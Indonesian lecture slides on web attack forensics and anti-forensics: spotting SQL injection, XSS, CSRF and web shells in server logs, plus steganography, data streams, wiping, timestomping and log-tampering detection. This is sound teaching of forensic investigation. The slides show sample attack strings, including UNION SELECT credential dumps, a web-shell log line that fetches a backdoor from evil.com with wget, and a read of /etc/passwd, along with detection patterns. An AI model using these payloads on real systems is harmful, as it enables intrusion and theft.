🎯 Capaian Pembelajaran

Setelah pertemuan ini, mahasiswa mampu:

1. Mengidentifikasi jenis serangan web dan vektor serangannya
2. Menganalisis log web server untuk mendeteksi serangan
3. Melakukan investigasi SQL Injection, XSS, dan CSRF
4. Menjelaskan teknik anti-forensik penyerang
5. Mendeteksi timestamp manipulation dan log tampering
6. Menganalisis steganografi dan data hiding
7. Menerapkan forensic countermeasures

📋 Agenda Hari Ini

🌐 Arsitektur Aplikasi Web

Serangan web melintasi beberapa lapisan — korelasi artefak antar lapisan diperlukan

🖥️ Web Server Utama

📝 Apache Combined Log Format

192.168.1.100 - admin [15/Jan/2025:10:23:45 +0700] "GET /admin/dashboard.php HTTP/1.1" 200 4523 "http://example.com/login" "Mozilla/5.0"

📊 HTTP Status Code untuk Forensik

💉 SQL Injection (SQLi)

• 🔓 Kebocoran data sensitif
• ✏️ Manipulasi data
• 🖥️ Pengambilalihan server
• ⚠️ Peringkat atas OWASP Top 10

Jenis SQL Injection

🔍 Deteksi SQLi pada Log

grep -iE "(union.*select|or.*1.*=.*1|\
  select.*from|drop.*table|waitfor.*delay)" \
  /var/log/apache2/access.log

# Pola yang dicari:
/page.php?id=1' OR '1'='1
/page.php?id=1 UNION SELECT username,password FROM users--
/page.php?id=1; WAITFOR DELAY '0:0:5'--

User-Agent sqlmap = strong indicator serangan otomatis

🎖️ Skenario: SQLi Sistem Logistik Kodam

172.16.0.100 [08:15:22] "GET /inventory.php?item_id=1' UNION SELECT username,password,NULL FROM admin_users--" 200
172.16.0.100 [08:15:25] "GET /inventory.php?item_id=1' UNION SELECT table_name,NULL,NULL FROM information_schema.tables--" 200
172.16.0.100 [08:16:01] "GET /inventory.php?item_id=1' UNION SELECT column_name,NULL,NULL FROM information_schema.columns WHERE table_name='classified_ops'--" 200

📜 Cross-Site Scripting (XSS)

grep -iE "(<script|javascript:|onerror=|\
  eval\(|document\.cookie)" access.log

🔄 Cross-Site Request Forgery (CSRF)

192.168.1.50 - admin [12/Feb:11:30:45] "POST /admin/change_password HTTP/1.1" 302 0 "http://evil-site.com/csrf.html"

🚨 Red flag: Referer dari domain eksternal pada request POST ke endpoint sensitif!

🐚 Web Shell Detection

# Cari file PHP dengan fungsi berbahaya
grep -rl "eval\|system\|exec\|passthru" \
  /var/www/html/ --include="*.php"

# File baru (7 hari terakhir)
find /var/www/html/ -name "*.php" -mtime -7

# File PHP di direktori upload
find /var/www/html/uploads/ -name "*.php"

📋 Log Aktivitas Web Shell

203.0.113.99 [03:15:22] "GET /uploads/x.php?cmd=whoami" 200
203.0.113.99 [03:15:30] "GET /uploads/x.php?cmd=cat+/etc/passwd" 200
203.0.113.99 [03:16:01] "GET /uploads/x.php?cmd=wget+http://evil.com/bd+-O+/tmp/bd" 200

1. whoami → Identifikasi user server
2. cat /etc/passwd → Enumerasi user
3. wget → Download malware tambahan

🛠️ Tools Analisis Log

# Top 20 IP
awk '{print $1}' access.log | sort | uniq -c | sort -rn | head -20

# Distribusi status code
awk '{print $9}' access.log | sort | uniq -c | sort -rn

# Request error 500
awk '$9 == 500' access.log

# User-Agent analysis
awk -F'"' '{print $6}' access.log | sort | uniq -c | sort -rn

🛡️ Apa itu Anti-Forensik?

🖼️ Steganografi

🔬 LSB Substitution

Mengganti bit terakhir piksel gambar dengan bit pesan:

Piksel asli:      10110100 11001010 01110001
Bit pesan:         1        0        1
Piksel modifikasi: 10110101 11001010 01110001
                        ^
                   Bit terakhir berubah

Perubahan hanya 1/256 per channel warna — tidak terlihat mata manusia

🔧 Tools Deteksi Steganografi

💻 Perintah Deteksi Steganografi

# Deteksi dengan zsteg
zsteg suspicious_image.png

# Extract dengan steghide
steghide extract -sf image.jpg -p ""

# Brute-force password
stegseek image.jpg wordlist.txt

# Cek file tersembunyi
binwalk -e suspicious.png

# Cek metadata
exiftool suspicious.jpg

📁 Alternate Data Streams (ADS)

REM Membuat ADS
echo "Data rahasia" > dokumen.txt:rahasia.txt

REM Membaca ADS
more < dokumen.txt:rahasia.txt

REM Deteksi ADS
dir /R dokumen.txt
streams.exe -s C:\Users\suspect\
Get-Item dokumen.txt -Stream *

🧹 Artifact Wiping

💡 Data yang di-wipe TIDAK dapat di-recover, tetapi penggunaan tool wiping itu sendiri meninggalkan jejak!

🔎 Deteksi Wiping Tools

REM Cek Prefetch files
dir C:\Windows\Prefetch\*BLEACHBIT* /S
dir C:\Windows\Prefetch\*CCLEANER* /S
dir C:\Windows\Prefetch\*SDELETE* /S

REM Cek registry
reg query "HKLM\SOFTWARE\...\Uninstall" /s | findstr /i "bleachbit ccleaner eraser"

REM Cek event log (audit cleared)
wevtutil qe Security /q:"*[System[(EventID=1102)]]"

Artefak lain: USN Journal, Volume Shadow Copies, RAM artifacts

⏰ Timestamp Manipulation

🔑 Key insight: Bandingkan kedua atribut — jika berbeda = manipulasi!

🔍 Deteksi Timestamp Manipulation

# Deteksi dengan MFTECmd
MFTECmd.exe -f '$MFT' --csv output/ --csvf mft.csv

📝 Log Tampering

🔎 Deteksi Log Tampering

# Cek gap dalam timestamp
awk '{print $4}' access.log | sed 's/\[//' | \
  sort | uniq -c | sort -rn

# Cek ukuran file log
ls -la /var/log/apache2/

# Periksa inode modification time
stat /var/log/apache2/access.log

# Cek auditd untuk akses log
ausearch -f /var/log/apache2/access.log

# Bandingkan dengan remote log server

🛡️ Forensic Countermeasures

📡 Centralized Logging

# rsyslog - kirim log ke server terpusat
# /etc/rsyslog.d/50-remote.conf
*.* @@logserver.mil.id:514

# Apache remote logging
ErrorLog "| /usr/bin/logger -t apache_error -p local0.error"
CustomLog "| /usr/bin/logger -t apache_access -p local0.info" combined

💡 Log di server terpusat tidak dapat dimanipulasi oleh penyerang yang hanya mengkompromikan web server

📊 File Integrity Monitoring

# AIDE - Advanced Intrusion Detection Environment
aide --init
cp /var/lib/aide/aide.db.new /var/lib/aide/aide.db

# Periksa integritas
aide --check

# Output:
# Changed: /var/log/apache2/access.log
#   Mtime: 2025-02-15 10:00 -> 14:30
#   SHA256: abc123... -> def456...

Tools lain: Tripwire, OSSEC

📋 Studi Kasus: Serangan pada Kodam XVII

1. Lonjakan request dari IP 203.0.113.75 mulai 02:00 WIT
2. File PHP baru di /uploads/
3. Gap log antara 03:00-04:00 WIT
4. File .xlsx dengan timestamp 2019

⏱️ Rekonstruksi Timeline

🔟 OWASP Top 10 & Forensik

⚠️ A09 Logging Failures = anti-forensik paling efektif — tanpa log, tidak ada bukti!

❓ Quiz Interaktif

Dari log berikut, jenis serangan apa yang terjadi?

10.0.0.50 [14:05:33] "GET /users.php?id=1' OR '1'='1 HTTP/1.1" 200 8721 "-" "sqlmap/1.5"

✅ B. Payload ' OR '1'='1 dan User-Agent sqlmap = SQL Injection

❓ Quiz Interaktif 2

Teknik anti-forensik mana yang dapat dideteksi dengan membandingkan $STANDARD_INFORMATION dan $FILE_NAME?

✅ C. $FILE_NAME dikelola kernel dan tidak bisa diubah user — perbedaan = timestomping!

📌 Key Takeaways

1. Log web server adalah bukti utama investigasi serangan web
2. SQLi, XSS, CSRF memiliki pola unik yang terdeteksi di log
3. Web shell = remote code execution — severity KRITIS
4. Anti-forensik: data hiding, wiping, trail obfuscation
5. Bandingkan $SI vs $FN untuk deteksi timestomping
6. Centralized logging = countermeasure paling efektif

📅 Pertemuan Berikutnya

• Dark web investigation techniques
• Tor network forensics
• Email header analysis
• Phishing investigation
• Cryptocurrency forensics

📚 Referensi

1. Casey, E. (2022). Digital Evidence and Computer Crime. Chapter 13
2. Phillips, A., et al. (2022). Guide to Computer Forensics and Investigations. Chapter 10-11
3. Harris, R. (2006). Arriving at an Anti-Forensics Consensus. DFRWS
4. OWASP Web Security Testing Guide
5. SecRepo: https://www.secrepo.com/
6. CyberDefenders: https://cyberdefenders.org/